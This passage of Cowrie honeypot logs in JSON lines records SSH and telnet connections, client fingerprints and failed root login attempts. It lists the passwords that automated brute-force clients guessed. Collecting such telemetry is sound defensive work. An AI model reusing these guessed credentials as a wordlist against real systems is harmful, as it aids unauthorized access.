384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:35.987719Z","src_ip":"207.154.230.149","session":"f37d80625f9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19861020","message":"login attempt [root/19861020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:36.351988Z","src_ip":"207.154.230.149","session":"f37d80625f9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"junior","message":"login attempt [root/junior] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:36.853018Z","src_ip":"31.173.247.254","session":"86781f2d4650","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:37.440496Z","src_ip":"207.154.230.149","session":"f37d80625f9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.167.177.203","src_port":50096,"dst_ip":"159.203.135.109","dst_port":22,"session":"8649e76ec572","protocol":"ssh","message":"New connection: 108.167.177.203:50096 (159.203.135.109:22) [session: 8649e76ec572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:37.482786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:37.487890Z","src_ip":"108.167.177.203","session":"8649e76ec572","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:37.513979Z","src_ip":"108.167.177.203","session":"8649e76ec572","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootlinux","message":"login attempt [root/rootlinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:37.658535Z","src_ip":"108.167.177.203","session":"8649e76ec572","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:38.104789Z","src_ip":"31.173.247.254","session":"86781f2d4650","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":47714,"dst_ip":"159.203.135.109","dst_port":23,"session":"78a95762ddbf","protocol":"telnet","message":"New connection: 186.195.16.41:47714 (159.203.135.109:23) [session: 78a95762ddbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:38.226307Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:38.687779Z","src_ip":"108.167.177.203","session":"8649e76ec572","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.0.59","src_port":33382,"dst_ip":"159.203.135.109","dst_port":22,"session":"6833f5aabcc9","protocol":"ssh","message":"New connection: 43.153.0.59:33382 (159.203.135.109:22) [session: 6833f5aabcc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:39.824971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:39.829302Z","src_ip":"43.153.0.59","session":"6833f5aabcc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:39.897738Z","src_ip":"43.153.0.59","session":"6833f5aabcc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"svnsvn","message":"login attempt [root/svnsvn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:40.206669Z","src_ip":"43.153.0.59","session":"6833f5aabcc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:41.278604Z","src_ip":"43.153.0.59","session":"6833f5aabcc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47666,"dst_ip":"10.17.0.5","dst_port":23,"session":"48cd0c2d4122","protocol":"telnet","message":"New connection: 192.119.13.58:47666 (10.17.0.5:23) [session: 48cd0c2d4122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:42.791171Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.237.246","src_port":46068,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa28e87479ac","protocol":"ssh","message":"New connection: 43.156.237.246:46068 (159.203.135.109:22) [session: fa28e87479ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:52.598125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:52.602691Z","src_ip":"43.156.237.246","session":"fa28e87479ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:52.847658Z","src_ip":"43.156.237.246","session":"fa28e87479ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vitesse","message":"login attempt [root/vitesse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:53.858716Z","src_ip":"43.156.237.246","session":"fa28e87479ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.126.22.12","src_port":49298,"dst_ip":"159.203.135.109","dst_port":22,"session":"72fecd4a1b00","protocol":"ssh","message":"New connection: 101.126.22.12:49298 (159.203.135.109:22) [session: 72fecd4a1b00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:54.159036Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:55.106724Z","src_ip":"43.156.237.246","session":"fa28e87479ac","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:55.480555Z","src_ip":"101.126.22.12","session":"72fecd4a1b00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:55.484601Z","src_ip":"101.126.22.12","session":"72fecd4a1b00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:56.364744Z","src_ip":"101.126.22.12","session":"72fecd4a1b00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.94.212.80","src_port":42704,"dst_ip":"159.203.135.109","dst_port":22,"session":"54bdb6242d4e","protocol":"ssh","message":"New connection: 184.94.212.80:42704 (159.203.135.109:22) [session: 54bdb6242d4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:07.223559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:07.227956Z","src_ip":"184.94.212.80","session":"54bdb6242d4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:07.291646Z","src_ip":"184.94.212.80","session":"54bdb6242d4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zav","message":"login attempt [root/zav] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:07.580230Z","src_ip":"184.94.212.80","session":"54bdb6242d4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:08.647102Z","src_ip":"184.94.212.80","session":"54bdb6242d4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.150.26","src_port":59796,"dst_ip":"159.203.135.109","dst_port":22,"session":"31b69ed68667","protocol":"ssh","message":"New connection: 152.32.150.26:59796 (159.203.135.109:22) [session: 31b69ed68667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:11.539416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:11.544106Z","src_ip":"152.32.150.26","session":"31b69ed68667","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.117.200","src_port":46702,"dst_ip":"159.203.135.109","dst_port":22,"session":"4929d8f7318e","protocol":"ssh","message":"New connection: 119.28.117.200:46702 (159.203.135.109:22) [session: 4929d8f7318e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:11.829904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:11.835294Z","src_ip":"119.28.117.200","session":"4929d8f7318e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:12.081099Z","src_ip":"119.28.117.200","session":"4929d8f7318e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:12.195180Z","src_ip":"152.32.150.26","session":"31b69ed68667","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"135151","message":"login attempt [root/135151] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:12.271921Z","src_ip":"152.32.150.26","session":"31b69ed68667","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!%&(_|","message":"login attempt [root/!%&(_|] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:13.096065Z","src_ip":"119.28.117.200","session":"4929d8f7318e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:13.285110Z","src_ip":"152.32.150.26","session":"31b69ed68667","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:14.344702Z","src_ip":"119.28.117.200","session":"4929d8f7318e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.154622077941895,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:23.380802Z","src_ip":"186.195.16.41","session":"78a95762ddbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.238","src_port":61698,"dst_ip":"10.17.0.5","dst_port":22,"session":"e736ecdc5083","protocol":"ssh","message":"New connection: 198.235.24.238:61698 (10.17.0.5:22) [session: e736ecdc5083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:24.450525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:25.583161Z","src_ip":"198.235.24.238","session":"e736ecdc5083","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh